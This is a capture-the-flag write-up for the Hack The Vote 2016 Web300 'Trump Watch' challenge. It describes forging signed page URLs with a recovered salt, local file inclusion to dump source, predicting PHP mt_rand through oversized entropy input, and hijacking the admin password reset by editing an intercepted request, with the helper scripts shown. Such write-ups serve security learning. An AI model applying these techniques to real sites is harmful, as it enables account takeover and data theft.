Skip to content

Hack The Vote 2016 - Web300 Trump Watch!

Trump Watch - 300
I think we have found an alt-right hotspot, in this blog which covers Trumps operations. Our reports show that they have been attacked a few times, and had their databases dropped. They seem to have beefed up security, but the admin still probably has some access to some interesting details.
Hint 1: Google is good at cracking hashes
Hint 2: /database.sql
No off the shelf automated tools are needed, try not to spam them or you will get banned
author's irc nick: itszn

So we land at this wonderful website that lets us log in, follow some memes about Trump. When logged in, you can change your password which you then have to confirm. You can also comment on the pages...

home1

home2

As you can see I arrived a little late to this party, and people have been trying to find any bug they can get.

Interestingly, modifying the url gives us an error page. http://watch.pwn.republican/watch.php?page=6&key=q3MNUno7lv3cvq50XwvBXoeK3Ho= where we changed the 5 to a 6. Unlucky Hilary:

fiddle1

So they must be checking the page against the key, either by some hashing or rather. binascii.hexlify(base64.b64decode("q3MNUno7lv3cvq50XwvBXoeK3Ho=")) gives us: ab730d527a3b96fddcbeae745f0bc15e878adc7a. More than likely this is a salted hash, since md5(5) doesn't match.

The hint comes in useful here, Google is good at cracking hashes.

hashes.

Hello there secretkey.

So to make the next steps easier...

py
def encrypt(val):
    payload = 'secretkey' + val
    return base64.b64encode(hashlib.sha1(payload).digest())

def gen_url(a, b):
    return 'http://watch.pwn.republican/watch.php?page={0}&key={1}'.format(urllib.quote_plus(a), urllib.quote_plus(b))

def c(val):
    return gen_url(val, encrypt(val))

Now everytime I call c("payload"), a cmd+clickable url comes up in iTerm for me to be on my merry way. So lets try that page 6 we were looking for.

page6

Looks like some people were already ahead of me.

Given web200 was also a local file inclusion, I'll try that here aswell. lfi1

Looks like we got a winner!

cookingwithfire

So now we need to get on the admin account. Dumping the source.

php
function resetPassword(&$error, &$newPass) {
    <does some checking>
    if (strlen($_POST['pass']) > 248) {
        $error = "Pass too long";
        return false;
    }

    $entr = $_POST['entropy'];
    if ($entr > hex_dec('0x77359400')) {
        $error = "Entropy too low! Try again...";
        $sql_conn->close();
        return false;
    }

    $randomnumber = mt_rand(1,intval($entr));
    if ($randomnumber < hex_dec('0x10000000')) {
        $error = "Entropy too low! Try again...";
        $sql_conn->close();
        return false;
    }

    $randomnumber = sprintf("%08x",$randomnumber);
    $pass = $randomnumber.$_POST['pass'];
    $pass = strrev($pass);
    $hash = hash("sha1",$pass,true);

    $newPass = base64_encode($hash);
    <inserts into database>
}

<login.php>
    if ($oldPass==NULL) {
        $error = "Could not log you in.";
    } elseif (hashPass($oldPass)===$_POST['pass'] || ($newPass != NULL && hashPass($newPass)===$_POST['pass'])) {
        $_SESSION['id'] = $uid;
        $_SESSION['name'] = $_POST['user'];
        header('Location: index.php');
        die();
    } else {
        $error = "Could not log you in.";
    }
}
sql
<database.sql>
CREATE TABLE users (
    id int NOT NULL AUTO_INCREMENT key,
    name varchar(256) NOT NULL UNIQUE,
    oldPass varchar(256) NOT NULL,
    newPass varchar(256) DEFAULT NULL,
    image varchar(256) NOT NULL DEFAULT "https://i.imgur.com/C35yeEC.jpg"
);

Interesting to note that we can log on with our new password that we haven't confirmed yet. But we'll get to that later.

Our password is actually quite randomly generated. Of course we could try and set the seed at 0x10000001 and hoping we get the mt_rand at 0x10000001, but the chances of us getting that are slim to none.

Thankfully, my friend @grc was infinitely helpful and informed me how PHP sucks at handling floats, like python. Even more so, how mt_rand becomes predictable when you get REALLY big. like 2^63 - 1 big.

With a local testing script, I found that the bottom bits of mt_rand become 00000001 when we hit the 64bit limit.

php
$entr = '9223372036854775807e-99';
$randomnumber = mt_rand(1,intval($entr));
var_dump($randomnumber);
if ($randomnumber < hex_dec('0x10000000')) {
    $error = "Entropy too low! Try again...";
    print($error);
    return false;
}

$randomnumber = sprintf("%08x",$randomnumber);
var_dump($randomnumber);
/* Results
int(8585978123961499649)
string(16) "7727859d00000001"
*/

Annoyingly, PHP has given us a length 16 number instead of 8 even though our format string says not to. I thought my PHP was broken, but even after spinning up an AWS to check, turns out this is part of the challenge.

So remembering our password field length in SQL is 256 characters long, we can append a string of 248, which then gets flipped. And when inserting to sql, we drop off the last 8 characters. Coincidentally, thats the random hashy bit, keeping us with 'A' * 248 + '10000000'. The reason we can only do 248 is because of a check prior that limits our userinput length.

php
$pass = $randomnumber.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
$pass = strrev($pass);
$pass = substr($pass, 0, 256);
$hash = hash("sha1",$pass,true);
var_dump($hash);
$newPass = base64_encode($hash);
var_dump($newPass);
/* Results
string(20) "�O�Q�+;_��=�䂨�|"
string(28) "9JRPwVHTKzsYAV/a/T2j5IKojnw="
*/

With that, we need to try and reset the admin's password.

Given there's no sql injection in all the source (after checking multiple times), We look to a shitty implementation of reset password.

resetpwd

Yep, the username to reset is sent in our request. A trivial burp intercept later.

Login with the new password we generated (because we can login with unconfirmed passwords).

winner

Flag:flag{n0t_s0_r4nd0m_4ft3r_all_m4yb3_php_n33ds_t0_get_w1th_th3_t1mes}

Big ty to @itszn for creating an awesome challenge.

Writeups for web100 and web200 coming. Sad days when you dont get web300 or web500